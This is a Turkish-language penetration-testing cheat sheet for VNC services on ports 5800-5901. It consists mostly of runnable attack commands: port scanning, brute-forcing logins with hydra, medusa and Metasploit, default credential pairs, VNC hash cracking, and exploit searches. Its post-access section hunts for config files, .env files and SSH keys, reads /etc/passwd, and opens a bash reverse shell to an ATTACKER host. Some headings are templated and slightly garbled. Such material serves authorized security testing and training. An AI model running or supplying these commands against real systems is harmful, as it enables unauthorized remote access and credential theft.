5800,5801,5900,5901 - Pentesting VNC

VNC remote

VNC şifresiz veya zayıf auth ile masaüstü kontrolü verir; password hash offline kırılır. Hedef lab IP’si üzerinde komutları 5800 portuna göre uyarla; her başarıyı ayrı kanıtla.

Metodoloji

1. 5900+n.

2. Auth type.

3. Crack/connect.

4. Input control.

Keşif

nmap -Pn -sV -p5900,5901,5902 TARGET

nmap -Pn -p5900,5901,5902 --script vnc-info,vnc-title TARGET

vncviewer TARGET:5900

Auth

hydra -P pass.txt vnc://TARGET

msfconsole -q -x 'use auxiliary/scanner/vnc/vnc_login; set RHOSTS TARGET; run'

vncpwdump / hashcat -m 1800

Connect

vncviewer -passwd passfile TARGET:5900

x11vnc ...

Derin enum

,5801,5900,5901 - VNC için ek keşif ve fingerprint.

nmap -Pn -sV -sC -p5800,5801,5900,5901 TARGET

nmap -Pn -p5800 --script safe,discovery TARGET

timeout 5 bash -c 'echo | openssl s_client -connect TARGET:5800' 2>/dev/null | head

python3 -c "import socket;s=socket.create_connection(('TARGET',5800));s.settimeout(3);print(s.recv(4096))"

Banner / TLS / ALPN notları → ,5801,5900,5901 - VNC

Kimlik & brute (ek)

hydra -L users.txt -P rockyou.txt -s 5800 PROTOCOL://TARGET -t 4

medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 5800

nmap -p5800 --script '*-brute' TARGET

admin/admin, root/root, guest/(boş), test/test

Exploit arama

searchsploit VNC

msfconsole -q -x 'search VNC; exit'

nuclei -u https://TARGET:5800 -t cves/ -silent -severity || true

nuclei -u http://TARGET:5800 -tags tech -silent || true

Manuel protokol

nc -nv TARGET 5800

printf '
' | timeout 3 nc -nv TARGET 5800

curl -vk --http1.0 http://TARGET:5800/

Wireshark/tcpdump ile konuşmayı kaydet; replay dene

Post-erişim & loot

config, key, session, env, backup

find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head

ss -lntp; ip a; cat /etc/passwd | head

bash -i >& /dev/tcp/ATTACKER/443 0>&1

mkdir -p loot && tee loot/notes.txt

Operasyon checklist

[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu

Zincir

vnc-info → weak/none auth → desktop